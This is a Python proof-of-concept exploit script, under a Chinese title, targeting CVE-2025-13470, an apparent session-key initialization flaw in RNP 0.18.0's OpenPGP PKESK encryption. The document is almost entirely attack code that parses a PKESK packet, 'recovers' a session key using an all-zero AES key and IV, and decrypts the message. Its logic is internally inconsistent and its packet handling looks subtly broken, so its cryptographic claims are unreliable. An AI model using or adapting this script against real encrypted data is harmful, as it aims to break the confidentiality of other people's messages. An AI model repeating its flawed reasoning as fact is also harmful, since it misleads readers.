CVE-2025-13470 RNP 0.18.0公钥加密会话密钥未初始化漏洞

#!/usr/bin/env python3 """ CVE-2025-13470 PoC - RNP 0.18.0 PKESK Session Key Uninitialization This PoC demonstrates decrypting data encrypted with RNP 0.18.0's broken PKESK by using an all-zero session key. """ import json import struct from Crypto.Cipher import AES from Crypto.Util import Padding def decrypt_with_zero_key(encrypted_data, algorithm='AES-256'): """ Decrypt data using an all-zero session key. In RNP 0.18.0, PKESK packets contain a zero-initialized session key. Args: encrypted_data: The encrypted data from PKESK packet algorithm: Encryption algorithm used (default AES-256) Returns: Decrypted data using all-zero key """ zero_key = bytes(32) # 256-bit zero key # Parse PKESK packet to extract encrypted session key # Format: version(1) + key_id(8) + algo(1) + encrypted_data version = encrypted_data[0] key_id = encrypted_data[1:9] algo = encrypted_data[9] esk = encrypted_data[10:] print(f"PKESK Version: {version}") print(f"Key ID: {key_id.hex()}") print(f"Algorithm: {algo}") print(f"Encrypted Session Key Length: {len(esk)}") # In vulnerable version, esk is AES-256-CFB encrypted with zero key # Initialize cipher with zero key and zero IV (CFB mode) cipher = AES.new(zero_key, AES.MODE_CFB, iv=bytes(16), segment_size=128) session_key = cipher.decrypt(esk)[:32] print(f"Recovered Session Key: {session_key.hex()}") print(f"Session Key is all zeros: {session_key == bytes(32)}") return session_key def exploit_cve_2025_13470(pkesk_packet, encrypted_message): """ Exploit script for CVE-2025-13470 Args: pkesk_packet: Raw PKESK packet bytes encrypted_message: Encrypted message data Returns: Decrypted plaintext """ print("=" * 60) print("CVE-2025-13470 Exploitation") print("RNP 0.18.0 PKESK Session Key Uninitialization") print("=" * 60) # Step 1: Recover session key using zero key session_key = decrypt_with_zero_key(pkesk_packet) # Step 2: Decrypt the actual message using recovered session key cipher = AES.new(session_key, AES.MODE_CFB, iv=bytes(16), segment_size=128) plaintext = cipher.decrypt(encrypted_message) return plaintext def simulate_attack(): """ Simulate the attack scenario """ print("\n[+] Simulating attack against vulnerable RNP 0.18.0 PKESK encryption") # Simulated PKESK packet (vulnerable version generates zero session key) pkesk_simulated = bytes([0x01]) + bytes(8) + bytes([9]) + bytes(32) # Simulated encrypted message encrypted_simulated = bytes(32) try: result = exploit_cve_2025_13470(pkesk_simulated, encrypted_simulated) print(f"\n[+] Successfully decrypted data!") print(f"[+] Decrypted content: {result}") print("\n[!] This demonstrates that data encrypted with RNP 0.18.0 PKESK") print("[!] can be trivially decrypted due to uninitialized session key") except Exception as e: print(f"[-] Error: {e}") print("[-] Note: This is a PoC demonstration. Actual implementation may vary.") if __name__ == "__main__": simulate_attack()